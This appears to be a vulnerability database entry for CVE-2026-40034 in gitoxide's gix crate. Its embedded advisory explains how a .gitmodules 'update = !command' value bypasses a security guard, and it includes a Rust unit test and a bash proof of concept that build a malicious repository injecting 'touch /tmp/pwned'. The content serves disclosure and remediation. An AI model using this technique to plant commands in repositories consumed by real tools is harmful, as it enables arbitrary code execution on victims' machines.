CVE-2026-40034: gitoxide CommandForbiddenInModulesConfiguration Bypass Vulnerability
HIGHCVE-2026-40034 is a HIGH (CVSS 7.8) commandforbiddeninmodulesconfiguration bypass vulnerability (CWE-183: Permissive List of Allowed Inputs) affecting gitoxide libraries in the crates.io ecosystem. The issue involves commandforbiddeninmodulesconfiguration bypass in gix_submodule::file::update() enables arbitrary command execution via .gitmodules. Remediation is available by upgrading affected packages to version 0.83.0.
CVE-2026-40034 at a Glance
Security Impact
CVSS: 7.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-40034
To remediate this vulnerability, upgrade all affected gitoxide dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade gix to 0.83.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for gix
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-40034, inspect your project dependencies for gitoxide:
inspect dependencies for gix
Analyze the terminal output to locate any version of gitoxide in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.83.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-183: Permissive List of Allowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses. In gitoxide, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-40034 Affected gitoxide Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
gix
|
crates.io |
≥ 0.31.0
< 0.83.0
|
0.83.0
|
References
Frequently Asked Questions
What is CVE-2026-40034?
Which gitoxide versions are affected?
What version fixes CVE-2026-40034?
Is gix affected?
What is the CVSS score of CVE-2026-40034?
What CWE is associated with CVE-2026-40034?
How can I check crates.io dependencies for CVE-2026-40034?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-f26g-jm89-4g65",
"modified" : "2026-06-30T17:41:01Z",
"published" : "2026-05-05T19:23:45Z",
"aliases" : [ "CVE-2026-40034" ],
"summary" : "gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules",
"details" : "### Summary\n\n[`gix_submodule::File::update()`](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168) is the API that gates whether an attacker-supplied `.gitmodules` file may set `update = !<shell command>`. The function is designed to return `Err(CommandForbiddenInModulesConfiguration)` unless the `!command` value came from a trusted local source (`.git/config`). Git CVE [CVE-2019-19604](https://nvd.nist.gov/vuln/detail/cve-2019-19604) illustrates why this check is necessary.\n\nHowever, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-`.gitmodules` source; it does not verify that the `update` value came from that section.\n\nOnce a submodule has been initialized (any workflow that writes `submodule.<name>.url` to `.git/config`), and the attacker subsequently adds `update = !cmd` to `.gitmodules`, the guard passes while the command value falls through to the attacker-controlled file.\n\nOn an identical repository state, `git submodule update` aborts with `fatal: invalid value for 'submodule.sub.update'`, while `gix::Submodule::update()` returns `Ok(Some(Update::Command(\"touch /tmp/pwned\")))`.\n\nThe vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.\n\n### Details\n\nThe vulnerable method is `gix_submodule::File::update`: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:\n\n```rust\npub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {\n let value: Update = match self.config.string(format!(\"submodule.{name}.update\")) {\n // ^^^^^^^^^^^^^^^^^^\n // [A] Reads the value. gix_config::File::string() iterates sections\n // newest-to-oldest; if the override section lacks `update`, it\n // falls through to .gitmodules and returns the attacker value.\n //\n // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76\n Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {\n submodule: name.to_owned(),\n actual: v.into_owned(),\n })?,\n None => return Ok(None),\n };\n\n if let Update::Command(cmd) = &value {\n let ours = self.config.meta();\n let has_value_from_foreign_section = self\n .config\n .sections_by_name(\"submodule\")\n .into_iter()\n .flatten()\n .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));\n // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n // [B] Checks only that SOME section with this name exists from a\n // non-.gitmodules source. Does NOT check where [A]'s value\n // came from.\n if !has_value_from_foreign_section {\n return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });\n }\n }\n Ok(Some(value))\n}\n```\n\n### PoC\n\n`git submodule init` copies `submodule.$name.url` and writes `active = true` into `.git/config` ([`init_submodule()`, builtin/submodule--helper.c:438-517](https://github.com/git/git/blob/v2.53.0/builtin/submodule--helper.c#L438-L517)). It does not unconditionally copy `update`.\n\nSince CVE-2019-19604, `git` rejects `.gitmodules` files that contain `update = !cmd` at parse time. However, `init` is a one-time operation - once the `.git/config` section exists, subsequent changes to `.gitmodules` are not re-inited.\n\nSo, the attack sequence is:\n\n1. Attacker's repo ships a benign `.gitmodules` (no `update` key).\n2. Victim clones and runs `git submodule init` -> `.git/config` contains:\n ```ini\n [submodule \"sub\"]\n active = true\n url = /tmp/sub-origin\n ```\n3. Attacker pushes a new commit adding `update = !cmd` to `.gitmodules`.\n4. Victim runs `git pull` -> `.gitmodules` now contains:\n ```ini\n [submodule \"sub\"]\n path = sub\n url = /tmp/sub-origin\n update = !touch /tmp/pwned\n ```\n while `.git/config` is unchanged.\n\nThis is the precise state that bypasses gitoxide's guard:\n- The .git/config entry - even though it contains only url and active - causes [`append_submodule_overrides`](https://github.com/GitoxideLabs/gitoxide/blob/dd5c18d9e526e8de462fa40aa047acd097cfa7dc/gix-submodule/src/lib.rs#L41) to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.\n- However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.\n\nThe bug is the mismatch between what [A] and [B] actually inspect: [A] asks \"which section provides the update value?\" (answer: .gitmodules), while [B] asks \"does any trusted section exist for this submodule?\" (answer: yes). A correct guard would ask the same question as [A].\n\nGit itself would refuse to operate on this repository at the next `git submodule update`. The vulnerability is in gitoxide-based consumers that call `Submodule::update()` and trust its output.\n\n### Option 1: Unit test (verified - passes, confirming the bug)\n\nDrop into `gix-submodule/tests/file/mod.rs` inside `mod update`:\n\n```rust\n#[test]\nfn security_bypass_via_partial_override() {\n use std::str::FromStr;\n\n // Attacker-controlled .gitmodules\n let gitmodules =\n \"[submodule.a]\\n url = https://example.com/a\\n update = !touch /tmp/pwned\";\n\n // Post-`git submodule init` state: only `url` copied to .git/config\n let repo_config =\n gix_config::File::from_str(\"[submodule.a]\\n url = https://example.com/a\").unwrap();\n\n let module =\n gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();\n\n let result = module.update(\"a\".into());\n // VULNERABLE: prints `Ok(Some(Command(\"touch /tmp/pwned\")))`\n // SECURE: should be `Err(CommandForbiddenInModulesConfiguration { .. })`\n eprintln!(\"{:?}\", result);\n}\n```\n\n```console\n$ cargo test -p gix-submodule security_bypass -- --nocapture\nrunning 1 test\nbypass result: Ok(Some(Command(\"touch /tmp/pwned\")))\ntest file::update::security_bypass_via_partial_override ... ok\n```\n\n### Option 2: End-to-end - git refuses, gitoxide accepts\n\nVerified with **git 2.51.2** and **gix @ `dd5c18d9e`**.\n\n```bash\n#!/bin/bash\nset -e\ncd /tmp\nrm -rf evil-repo victim sub-origin 2>/dev/null || true\n\n# --- Setup ---\nmkdir sub-origin && cd sub-origin\ngit init -q && git commit -q --allow-empty -m init\ncd /tmp\n\n# --- [1] Attacker creates repo with BENIGN submodule ---\nmkdir evil-repo && cd evil-repo\ngit init -q\ngit -c protocol.file.allow=always submodule add /tmp/sub-origin sub\ngit commit -q -m \"add submodule (benign)\"\ncd /tmp\n\n# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---\ngit -c protocol.file.allow=always clone -q /tmp/evil-repo victim\ncd victim\ngit submodule init\n# .git/config now has: [submodule \"sub\"] active=true, url=..., NO update key\ncd /tmp\n\n# --- [3] Attacker adds malicious update to .gitmodules ---\ncd evil-repo\ncat >> .gitmodules <<'EOF'\n\tupdate = !touch /tmp/pwned\nEOF\ngit commit -q -am \"add malicious update\"\ncd /tmp\n\n# --- [4] Victim pulls ---\ncd victim\ngit pull -q\n```\n\nFinal state:\n```\n--- .gitmodules:\n[submodule \"sub\"]\n path = sub\n url = /tmp/sub-origin\n update = !touch /tmp/pwned\n--- .git/config (submodule section):\n[submodule \"sub\"]\n active = true\n url = /tmp/sub-origin\n```\n\n**Upstream git on this state:**\n```console\n$ cd /tmp/victim && git submodule update\nfatal: invalid value for 'submodule.sub.update'\n$ echo $?\n128\n$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE\nSAFE\n```\n\n**Gitoxide on the same state:**\n```rust\n// /tmp/gix-repro/main.rs\nlet repo = gix::open(\"/tmp/victim\")?;\nfor sm in repo.submodules()?.expect(\"submodules present\") {\n println!(\"{}: {:?}\", sm.name(), sm.update());\n}\n```\n```console\n$ cargo run\nsub: Ok(Some(Command(\"touch /tmp/pwned\")))\n```\n\nThe `CommandForbiddenInModulesConfiguration` guard never fires.\n\n### Impact\n\n### Direct\n\nAny downstream code built on `gix` that:\n1. Calls `Submodule::update()` to determine the update strategy, and\n2. Trusts that `Update::Command(_)` is safe to execute (because `CommandForbiddenInModulesConfiguration` exists as the documented guard)\n\n…will execute attacker-controlled shell commands on `submodule update` against a previously-initialized submodule.\n\n`gix` itself does not currently ship a `submodule update` implementation, so there is no RCE in the `gix` CLI today. However:\n\n- The `Submodule::update()` API is public at `gix/src/submodule/mod.rs:108` and delegates directly to the vulnerable function.\n- The error variant name (`CommandForbiddenInModulesConfiguration`) and test suite (`valid_in_overrides` at `gix-submodule/tests/file/mod.rs:272`) explicitly document this as the security boundary.\n- Any third-party tool, IDE plugin, or CI integration building submodule-update on top of `gix` inherits this vulnerability.\n\n### Indirect / second-order\n\n- CI/forge integrations that auto-init submodules and then query the update mode\n- Editor/IDE extensions using `gix` for submodule info\n- Gitoxide-based `init` equivalents - any tool that implements its own init (writing `url` to local config) creates the bypass state without needing the pull-after-init sequence",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "crates.io",
"name" : "gix"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.31.0"
}, {
"fixed" : "0.83.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40034"
}, {
"type" : "WEB",
"url" : "https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0"
}, {
"type" : "WEB",
"url" : "https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/GitoxideLabs/gitoxide"
}, {
"type" : "WEB",
"url" : "https://red.anthropic.com/2026/cvd/findings/ANT-2026-6SNS6KMP"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/gitoxide-command-injection-via-partial-gitmodules-override-in-gix-submodule"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-183", "CWE-349", "CWE-501", "CWE-77" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-05T19:23:45Z",
"nvd_published_at" : null
}
}